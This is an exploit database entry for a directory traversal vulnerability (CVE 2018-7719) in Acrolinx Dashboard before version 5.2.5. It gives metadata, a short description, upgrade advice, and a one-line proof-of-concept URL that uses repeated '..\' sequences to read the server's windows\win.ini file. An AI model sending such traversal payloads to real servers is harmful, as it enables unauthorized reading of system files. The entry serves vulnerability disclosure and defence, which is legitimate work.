header-logo
Suggest Exploit
vendor:
Acrolinx Dashboard
by:
Berk Dusunur
8.8
CVSS
HIGH
Directory Traversal
22
CWE
Product Name: Acrolinx Dashboard
Affected Version From: Before 5.2.5
Affected Version To: 5.2.5
Patch Exists: YES
Related CWE: CVE 2018-7719
CPE: a:acrolinx:acrolinx_dashboard
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows
2017

Acrolinx Dashboard Directory Traversal

Acrolinx dashboard windows works on the server. An attacker can exploit this vulnerability by sending a crafted request to the server. The crafted request contains a directory traversal payload which allows the attacker to access the windows win.ini file.

Mitigation:

Upgrade to Acrolinx Dashboard version 5.2.5 or later.
Source

Exploit-DB raw data:

# Exploit Title: Acrolinx Dashboard Directory Traversal
# CVE: CVE 2018-7719
# Date: 19.02.2017
# Exploit Author: Berk Dusunur
# Vendor Homepage: www.acrolinx.com
# Version:Before 5.2.5

PoC

Acrolinx dashboard windows works on the server.


http://localhost/..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini

http://www.berkdusunur.net/2018/03/tr-en-acrolinx-dashboard-directory.html

Navigation

Suggest Exploit

Services By CQR